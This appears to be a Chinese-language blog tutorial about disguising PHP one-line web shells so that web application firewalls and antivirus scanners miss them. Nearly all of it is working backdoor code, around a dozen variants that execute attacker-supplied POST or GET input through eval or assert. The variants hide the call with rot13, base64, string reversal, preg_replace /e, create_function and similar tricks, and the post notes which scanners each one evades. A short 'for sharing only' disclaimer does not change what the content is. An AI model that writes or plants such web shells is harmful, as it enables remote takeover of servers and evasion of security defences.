一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形。(仅供分享经验,不可用作非法用途)
图片来源
一.先看一只有趣的小马
<?php ($b4dboy = $_POST['b4dboy']) &&@preg_replace('/ad/e','@'.str_rot13('riny')."($b4dboy)", 'add'); ?>
沙箱检测它是安全文件
用D盾查杀只是发现可以的str_rot13函数且级别只是1
在线检测了,免杀还是很不错的,用各种查杀软件 只有安全狗能查杀出来
小马的介绍
能过这么多杀软主要是因为利用了str_rot13
函数,str_rot13(‘riny’)输出为eval,还有一个利用了preg_replace
函数,该函数结构如下
preg_replace ( mixed pattern, mixed replacement,mixed subject[, int limit])
/e修正符使preg_replace()
将replacement参数当作PHP代码来执行,要保证replacement构成一个合法的PHP代码字符串,该正则在被正确的匹配到后,传入的string被当做函数来运行。
测试发现该后门可用于php版本5.3、5.4;
PHP 5.5.0起,传入"\e”修饰符的时候,会产生一个E_DEPRECATED 错误;PHP 7.0.0 起,会有E_WARNING错误,同时"\e”也无法起效。
二.马的变形
可以把webshell放在函数库文件中或者图片马中
图片马的制作:点这里
php变量
<?php
$a = "assert";
$a(@$_POST['shell']);
?>
第三行使用了变量函数$a,变量储存了函数名assert,便可以直接用变量替代函数名。
php变量简单变形1
<?php
$a="TR"."Es"."sA";
$b=strtolower($a);
$c=strrev($b);
@$c($_POST['shell']);
?>
使用字符串拼接、大小写混淆、字符串逆序组合而成strtolower()
函数把字符串转换为小写。strrev()
函数反转字符串。
自定义函数
<?php
function fun($a){
@eval($a);
}
@fun($_POST['shell']);
?>
使用function自定义函数,然后函数来调用eval函数
create_function函数
<?php
$fun = create_function('',$_POST['shell']);
$fun();
?>
创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数
call_user_func()函数
<?php
@call_user_func(assert,$_POST['shell']);
?>
call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数
base64_decode 函数
<?php
$a=base64_decode("YXNzZXJ0");
@a($_POST['shell']);
?>
YXNzZXJ0是assert的base64编码,base64_decode()
是base64解密函数
preg_replace函数
<?php
function fun(){
return $_POST['shell'];
}
@preg_replace("/test/e", fun(), "test123");
?>
preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。
pares_str函数
<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>
执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。
str_replace函数
<?php
$a = str_replace("test", "", "astestsert");
$a($_POST['shell']);
?>
此函数用于将第三个参数中的第一个参数替换为第二个参数
以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,在使用一句话木马时,也可以在前面加一个@来屏蔽错误,增加其隐蔽性。